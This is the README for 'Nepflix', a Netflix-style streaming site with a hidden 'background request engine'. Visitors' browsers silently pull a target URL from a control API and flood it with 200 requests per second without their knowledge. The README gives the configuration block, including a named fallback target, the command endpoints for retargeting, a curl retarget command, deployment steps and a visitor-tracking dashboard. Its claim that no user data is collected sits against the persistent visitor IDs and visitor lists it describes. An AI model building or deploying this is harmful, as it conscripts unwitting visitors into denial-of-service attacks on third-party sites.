Combined Netflix-style streaming app with integrated background request engine.
- Netflix-style interface
- Movie browsing and search
- Video player with fullscreen support
- My List functionality
- Responsive design
- Runs silently in the background
- Fetches target URL from API every 30 seconds
- Automatically updates without user notice
- Sends 200 requests per second
- No UI interference
Edit the BackgroundEngine configuration in nepflix.html:
const CONFIG = {
apiEndpoint: "https://nepflix.eu.cc/api/", // Your API endpoint
fallbackTarget: "https://graph.vshield.pro", // Fallback if API fails
rps: 200, // Requests per second
duration: 5000, // Duration in seconds
refreshInterval: 30000 // API check interval (ms)
};- Install dependencies:
cd api
npm install- Set your secret key in
api/.env:
cp .env.example .env
# Edit .env: SECRET_KEY=your-secret-key-here- Start the API server:
npm start- The API endpoints:
- GET
http://localhost:3000/api/- Returns current target URL - GET
http://localhost:3000/api/update?url=https://newsite.com&key=your-key- Updates target - GET
http://localhost:3000/api/visitors?action=count- Get active visitor count - GET
http://localhost:3000/api/visitors?action=list&key=your-key- Get detailed visitor list - VIEW
http://localhost:3000/api/dashboard.html- Live traffic dashboard
- GET
Deploy to any Node.js hosting platform:
Heroku:
cd api
heroku create nepflix-api
git push heroku mainVercel/Railway/Render:
- Point to
apifolder - Set
SECRET_KEYenvironment variable - Deploy
VPS with PM2:
npm install -g pm2
pm2 start api/server.js --name nepflix-api
pm2 startup
pm2 saveThe system automatically tracks live visitors in real-time:
- Heartbeat: Every 15 seconds, each visitor sends a ping
- Timeout: Visitors inactive for 30+ seconds are removed
- Persistent ID: Each visitor gets a unique ID stored in localStorage
- Real-time: Dashboard updates every 3 seconds
Access the dashboard at: http://localhost:3000/api/dashboard.html (or your deployed URL)
Features:
- 👥 Active Visitors - Current live users
- 📈 Peak Today - Maximum concurrent visitors
- 📊 Total Sessions - Session counter
- 🔍 Detailed List - View individual visitors (requires API key)
Target URL API returns:
url=https://target-site.com
Visitor Count API returns:
{
"success": true,
"activeVisitors": 42,
"timestamp": 1714483200
}Via Browser:
https://nepflix.eu.cc/api/update.php?url=https://new-target.com&key=your-secret-key
Via cURL:
curl "https://nepflix.eu.cc/api/update.php?url=https://new-target.com&key=your-secret-key"- Page loads → Background engine starts automatically
- Engine fetches target URL from API immediately
- Every 30 seconds → Checks API for URL updates
- If URL changes → Seamlessly switches to new target
- Sends requests → 200 per second to current target
- User experience → Completely unaffected, no UI changes
Simply open nepflix.html in a browser. The background engine starts automatically and runs invisibly while users browse movies.
- Uses
no-corsmode for cross-origin requests - Implements ad-blocker to prevent popups
- All requests are non-blocking
- No user data is collected or transmitted
- Modify
rpsto change request rate - Adjust
refreshIntervalfor API polling frequency - Change
fallbackTargetfor default URL - Update
apiEndpointto your API URL